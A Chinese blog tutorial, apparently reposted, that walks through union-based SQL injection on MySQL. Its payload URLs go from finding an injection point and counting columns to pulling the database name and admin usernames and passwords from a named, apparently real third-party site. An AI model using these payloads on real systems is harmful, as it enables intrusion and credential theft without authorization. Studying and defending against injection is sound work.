码迷,mamicode.com
首页 > 数据库 > 详细

SQL注入

时间:2018-10-21 21:58:47      阅读:393      评论:0      收藏:0      [点我收藏+]

标签:大于   concat   取数   min   就是   关键字   判断   mil   http   

基于联合调查的SQL注入

我们先了解一下mysql的系统函数

 

user() database() version() concat() group_concat() datadir
当前使用者的用户名

当前数据库名

数据库版本

连接一个或者多个字符串

接一个组的所有字符串,并以逗号分隔每一条数据 读取数据库的绝对路径

数字型注入

我们以http://www.guoshang.tk/news/read.php?id=50为例,可以看出这是一个动态URL,也就是说可以在地址栏中传参,这是SQL注入的基本条件。

1.判断是否能sql注入:

http://www.guoshang.tk/news/read.php?id=50‘                     ①  页面返回错误

http://www.guoshang.tk/news/read.php?id=50 and 1=1        ②  页面返回正常

http://www.guoshang.tk/news/read.php?id=50 and 1=2         ③  页面返回错误

如果符合上述三点则我们可以确定可以进行SQL注入,且id是一个注入点。

2.爆数据库:http://www.guoshang.tk/news/read.php?id=50 and ord(mid(version(),1,1))>51

如果返回正常页面,说明数据库是mysql,并且版本大于4.0,支持union查询,反之是4.0以下版本或者其他类型数据库。 

3.爆字段:

a. http://www.guoshang.tk/news/read.php?id=50 order by 10  返回错误页面,说明字段小于10。

b. http://www.guoshang.tk/news/read.php?id=50 order by 5   返回正常页面,说明字段介于5和10之间。  

c. http://www.guoshang.tk/news/read.php?id=50 order by 7   返回错误页面,说明字段大于5小于7,可以判断字段数是6.下面我们再来确认一下

d. http://www.guoshang.tk/news/read.php?id=50 order by 6   返回正常页面,说明字段确实是6

当然我们可以从1开始依次列举。

 5.爆表:http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,3,4,5,6

我们发现页面返回给我们3个数字,3,5,6。 这里的3,5,6指是数据储存的位置,也就是我们可以把这三个数字中的一个或者多个替换成我们想要查询的关键字。

6.爆用户名等: 

http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,database(),4,5,6               

浏览器给我们返回了 xinwen  。说明这个网站 的数据库库名是 xinwen

同样我们也可以查询用户名和密码。

 http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,username,4,password,6 from admin

注意这里的admin是表名,而不是固定的。                                                            

SQL注入

标签:大于   concat   取数   min   就是   关键字   判断   mil   http   

原文地址:https://www.cnblogs.com/So7cool/p/9826616.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!